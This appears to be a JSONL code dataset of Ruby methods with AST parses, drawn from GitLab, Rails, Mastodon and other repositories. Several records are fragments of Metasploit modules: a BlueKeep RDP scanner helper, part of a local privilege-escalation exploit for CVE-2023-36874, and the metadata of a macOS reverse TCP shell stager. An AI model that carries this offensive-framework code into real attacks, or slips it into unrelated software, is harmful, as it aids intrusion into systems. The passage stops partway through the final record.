{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/design_management/design_type.rb","start_line":49,"raw_source":"def cached_stateful_version(parent_node)\n        version_gid = context[:at_version_argument] # See: DesignsResolver\n\n        # Caching is scoped to an `issue_id` to allow us to cache the\n        # most recent `Version` for an issue\n        Gitlab::SafeRequestStore.fetch([request_cache_base_key, 'stateful_version', object.issue_id, version_gid]) do\n          if version_gid\n            GitlabSchema.object_from_id(version_gid, expected_type: ::DesignManagement::Version)&.sync\n          else\n            object.issue.design_versions.most_recent\n          end\n        end\n      end","complexity_score":18.8,"ast_json":"{\"type\":\"def\",\"children\":[\"cached_stateful_version\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parent_node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"version_gid\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"at_version_argument\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"SafeRequestStore\"]},\"fetch\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request_cache_base_key\"]},{\"type\":\"str\",\"children\":[\"stateful_version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"issue_id\"]},{\"type\":\"lvar\",\"children\":[\"version_gid\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version_gid\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitlabSchema\"]},\"object_from_id\",{\"type\":\"lvar\",\"children\":[\"version_gid\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expected_type\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"DesignManagement\"]},\"Version\"]}]}]}]},\"sync\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"issue\"]},\"design_versions\"]},\"most_recent\"]}]}]}]}]}","id":"19de3ed8-383a-4cf1-a00f-f3def8245bb2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/experimental/o11y_service_settings_controller.rb","start_line":17,"raw_source":"def new\n      @o11y_service_settings = Observability::GroupO11ySetting.new\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"new\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@o11y_service_settings\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Observability\"]},\"GroupO11ySetting\"]},\"new\"]}]}]}","id":"2250ed83-b68d-49e3-aa36-ffc0a8be6903"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/connection_pool_test.rb","start_line":770,"raw_source":"def test_active_connection?\n        assert_not_predicate @pool, :active_connection?\n        assert @pool.lease_connection\n        assert_predicate @pool, :active_connection?\n        @pool.release_connection\n        assert_not_predicate @pool, :active_connection?\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_active_connection?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"ivar\",\"children\":[\"@pool\"]},{\"type\":\"sym\",\"children\":[\"active_connection?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pool\"]},\"lease_connection\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"ivar\",\"children\":[\"@pool\"]},{\"type\":\"sym\",\"children\":[\"active_connection?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pool\"]},\"release_connection\"]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"ivar\",\"children\":[\"@pool\"]},{\"type\":\"sym\",\"children\":[\"active_connection?\"]}]}]}]}","id":"5f930d25-c33a-49c9-9a6f-8507afdfa22b"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/structured_event_subscriber.rb","start_line":75,"raw_source":"def emit_event(name, payload = nil, caller_depth: 1, **kwargs)\n      ActiveSupport.event_reporter.notify(name, payload, caller_depth: caller_depth + 1, **kwargs)\n    rescue => e\n      handle_event_error(name, e)\n    end","complexity_score":8.53,"ast_json":"{\"type\":\"def\",\"children\":[\"emit_event\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"payload\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"caller_depth\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"kwrestarg\",\"children\":[\"kwargs\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"event_reporter\"]},\"notify\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"caller_depth\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"caller_depth\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]}]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"handle_event_error\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},null]}]}","id":"0651ebea-c772-4c5b-a54b-2802e9d58db0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/note.rb","start_line":532,"raw_source":"def references\n    refs = [noteable]\n\n    if part_of_discussion?\n      refs += discussion.notes.take_while { |n| n.id < id }\n    end\n\n    refs\n  end","complexity_score":16.6,"ast_json":"{\"type\":\"def\",\"children\":[\"references\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"refs\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"noteable\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"part_of_discussion?\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"refs\"]},\"+\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"discussion\"]},\"notes\"]},\"take_while\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"id\"]},\"<\",{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"refs\"]}]}]}","id":"1a1de65e-6813-4d78-833f-ea096eecf5aa"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/storefront/checkout_controller.rb","start_line":148,"raw_source":"def shipping_rates_service\n            Spree::Api::Dependencies.storefront_checkout_get_shipping_rates_service.constantize\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"shipping_rates_service\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Api\"]},\"Dependencies\"]},\"storefront_checkout_get_shipping_rates_service\"]},\"constantize\"]}]}","id":"f8db4e2a-6ef8-4b0f-94b9-e4b050a7062c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/destroy_secure_file_service.rb","start_line":5,"raw_source":"def execute(secure_file)\n      raise Gitlab::Access::AccessDeniedError unless can?(current_user, :admin_secure_files, secure_file.project)\n\n      secure_file.destroy!\n    end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"secure_file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"admin_secure_files\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"secure_file\"]},\"project\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Access\"]},\"AccessDeniedError\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"secure_file\"]},\"destroy!\"]}]}]}","id":"806a90dd-bbec-4072-8cbd-771050948efd"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb","start_line":76,"raw_source":"def rdp_reachable\n    rdp_connect\n    rdp_disconnect\n    return true\n  rescue Rex::ConnectionRefused\n    return false\n  rescue Rex::ConnectionTimeout\n    return false\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"rdp_reachable\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rdp_connect\"]},{\"type\":\"send\",\"children\":[null,\"rdp_disconnect\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"ConnectionRefused\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"ConnectionTimeout\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]}]}","id":"4d1ad319-63e1-4043-9e35-056a875f3ad4"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/lib/api/v3/file_links/create_endpoint.rb","start_line":61,"raw_source":"def present_success(request, service_call)\n          id_status_map = {}\n\n          service_call.all_results.each do |file_link|\n            id_status_map[file_link.id] = \"view_allowed\"\n          end\n\n          render_representer.create(\n            JoinOriginStatusToFileLinksRelation.create(id_status_map),\n            self_link: self_link(request),\n            current_user: request.current_user\n          )\n        end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"present_success\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request\"]},{\"type\":\"arg\",\"children\":[\"service_call\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"id_status_map\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_call\"]},\"all_results\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_link\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id_status_map\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_link\"]},\"id\"]},{\"type\":\"str\",\"children\":[\"view_allowed\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_representer\"]},\"create\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JoinOriginStatusToFileLinksRelation\"]},\"create\",{\"type\":\"lvar\",\"children\":[\"id_status_map\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"self_link\"]},{\"type\":\"send\",\"children\":[null,\"self_link\",{\"type\":\"lvar\",\"children\":[\"request\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"current_user\"]}]}]}]}]}]}","id":"c47648b9-5b53-47ad-9f2c-178388c624ea"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/instrumentation/redis_client_middleware.rb","start_line":22,"raw_source":"def call_pipelined(commands, redis_config)\n        instrumentation = instrumentation_class(redis_config)\n\n        result = instrument_call(commands, instrumentation, true) do\n          super\n        end\n\n        measure_io(commands, result, instrumentation) if ::RequestStore.active?\n\n        result\n      end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"call_pipelined\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"commands\"]},{\"type\":\"arg\",\"children\":[\"redis_config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"instrumentation\",{\"type\":\"send\",\"children\":[null,\"instrumentation_class\",{\"type\":\"lvar\",\"children\":[\"redis_config\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instrument_call\",{\"type\":\"lvar\",\"children\":[\"commands\"]},{\"type\":\"lvar\",\"children\":[\"instrumentation\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"zsuper\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"RequestStore\"]},\"active?\"]},{\"type\":\"send\",\"children\":[null,\"measure_io\",{\"type\":\"lvar\",\"children\":[\"commands\"]},{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"lvar\",\"children\":[\"instrumentation\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"36283440-9f86-4ac9-9c11-4e26d0751c88"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_migrate_jobs.rb","start_line":107,"raw_source":"def queue_length(queue_name)\n      Sidekiq.redis do |conn|\n        conn.llen(\"queue:#{queue_name}\")\n      end\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"queue_length\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"queue_name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"redis\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"llen\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"queue:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"queue_name\"]}]}]}]}]}]}","id":"a5617b11-9778-4a13-a48b-5e886cf6bfff"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/timestamp.rb","start_line":74,"raw_source":"def all_timestamp_attributes_in_model\n        @all_timestamp_attributes_in_model ||=\n          (timestamp_attributes_for_create_in_model + timestamp_attributes_for_update_in_model).freeze\n      end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"all_timestamp_attributes_in_model\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@all_timestamp_attributes_in_model\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"timestamp_attributes_for_create_in_model\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"timestamp_attributes_for_update_in_model\"]}]}]},\"freeze\"]}]}]}","id":"cb539e4d-b01a-43c7-9f6e-c6e3c2273871"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb","start_line":317,"raw_source":"def initialize(railgun, arch)\n    @railgun = railgun\n    @is_64bit = arch == ARCH_X64\n    @process_heap = nil\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"railgun\"]},{\"type\":\"arg\",\"children\":[\"arch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@railgun\",{\"type\":\"lvar\",\"children\":[\"railgun\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@is_64bit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@process_heap\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"cb2db60e-adb2-46e5-8873-238a352a33d7"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/system/transcript_spec.rb","start_line":32,"raw_source":"def generate_transcript(messages, acting_user)\n    messages = Array.wrap(messages)\n    Chat::TranscriptService\n      .new(messages.first.chat_channel, acting_user, messages_or_ids: messages.map(&:id))\n      .generate_markdown\n      .chomp\n  end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_transcript\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"messages\"]},{\"type\":\"arg\",\"children\":[\"acting_user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"messages\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"lvar\",\"children\":[\"messages\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"TranscriptService\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"messages\"]},\"first\"]},\"chat_channel\"]},{\"type\":\"lvar\",\"children\":[\"acting_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"messages_or_ids\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"messages\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]},\"generate_markdown\"]},\"chomp\"]}]}]}","id":"063660de-1b85-4864-a566-a9fea3b29b03"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/win_error_cve_2023_36874.rb","start_line":125,"raw_source":"def build_shadow_system32(shadow_base_dir)\n    shadow_win32 = \"#{shadow_base_dir}\\\\system32\"\n    vprint_status(\"Creating #{shadow_win32}\")\n    clone_mkdir(shadow_win32)\n    return shadow_win32\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"build_shadow_system32\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"shadow_base_dir\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"shadow_win32\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shadow_base_dir\"]}]},{\"type\":\"str\",\"children\":[\"\\\\system32\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Creating \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shadow_win32\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"clone_mkdir\",{\"type\":\"lvar\",\"children\":[\"shadow_win32\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shadow_win32\"]}]}]}]}","id":"3823c950-556e-49ad-be6f-70d37c3291b8"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/concerns/attachmentable.rb","start_line":46,"raw_source":"def set_file_extension(attachment) # rubocop:disable Naming/AccessorMethodName\n    return if attachment.blank?\n\n    attachment.instance_write :file_name, [Paperclip::Interpolations.basename(attachment, :original), appropriate_extension(attachment)].compact_blank!.join('.')\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"set_file_extension\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attachment\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"instance_write\",{\"type\":\"sym\",\"children\":[\"file_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Paperclip\"]},\"Interpolations\"]},\"basename\",{\"type\":\"lvar\",\"children\":[\"attachment\"]},{\"type\":\"sym\",\"children\":[\"original\"]}]},{\"type\":\"send\",\"children\":[null,\"appropriate_extension\",{\"type\":\"lvar\",\"children\":[\"attachment\"]}]}]},\"compact_blank!\"]},\"join\",{\"type\":\"str\",\"children\":[\".\"]}]}]}]}]}","id":"ca9f5546-d8a8-4e8d-ab6d-dcf7c1820d29"}
{"repo_name":"forem","file_path":"./repos/forem/spec/requests/stories_index_spec.rb","start_line":114,"raw_source":"def renders_ga_tracking_fields\n      expect(response.body).to include(\"data-ga-tracking=\\\"#{Settings::General.ga_tracking_id}\\\"\")\n      expect(response.body).to include(\"data-ga4-tracking-id=\\\"#{Settings::General.ga_analytics_4_id}\\\"\")\n    end","complexity_score":18.0,"ast_json":"{\"type\":\"def\",\"children\":[\"renders_ga_tracking_fields\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"body\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"data-ga-tracking=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"General\"]},\"ga_tracking_id\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"body\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"data-ga4-tracking-id=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"General\"]},\"ga_analytics_4_id\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]}]}]}]}","id":"fa9a9bbd-e2d6-4671-b3c5-597c4d0f516c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/spec_helper.rb","start_line":654,"raw_source":"def call(command, redis_config)\n      ActiveSupport::Notifications.instrument('redis.process_commands', commands: command) do\n        super(command, redis_config)\n      end\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"command\"]},{\"type\":\"arg\",\"children\":[\"redis_config\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Notifications\"]},\"instrument\",{\"type\":\"str\",\"children\":[\"redis.process_commands\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"commands\"]},{\"type\":\"lvar\",\"children\":[\"command\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},{\"type\":\"lvar\",\"children\":[\"redis_config\"]}]}]}]}","id":"4493227f-7321-4514-9281-c1a444940c36"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/user.rb","start_line":261,"raw_source":"def webauthn_enabled?\n    webauthn_credentials.any?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"webauthn_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"webauthn_credentials\"]},\"any?\"]}]}","id":"3a85d976-d408-4f73-9ffa-79bf47d2f30e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240906133050_remove_temporary_index_for_snippets.rb","start_line":14,"raw_source":"def down\n    return unless Gitlab.com?\n\n    add_concurrent_index :snippets, :id,\n      where: \"type = 'ProjectSnippet' and organization_id IS NOT NULL\",\n      name: 'tmp_index_snippets_for_organization_id'\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"com?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_index\",{\"type\":\"sym\",\"children\":[\"snippets\"]},{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"where\"]},{\"type\":\"str\",\"children\":[\"type = 'ProjectSnippet' and organization_id IS NOT NULL\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"tmp_index_snippets_for_organization_id\"]}]}]}]}]}]}","id":"7782ee8e-09ce-4874-a684-63aaa33e2a46"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/stagers/osx/x64/reverse_tcp.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      merge_info(\n        info,\n        'Name' => 'Reverse TCP Stager',\n        'Description' => 'Connect, read length, read buffer, execute',\n        'Author' => 'nemo <nemo[at]felinemenace.org>',\n        'License' => MSF_LICENSE,\n        'Platform' => 'osx',\n        'Arch' => ARCH_X64,\n        'Handler' => Msf::Handler::ReverseTcp,\n        'Stager' => { 'RequiresMidstager' => false }, # Originally set to true, but only Linux payloads use this at the moment, not OSX.\n        'Convention' => 'sockedi'\n      )\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Reverse TCP Stager\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Connect, read length, read buffer, execute\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"nemo 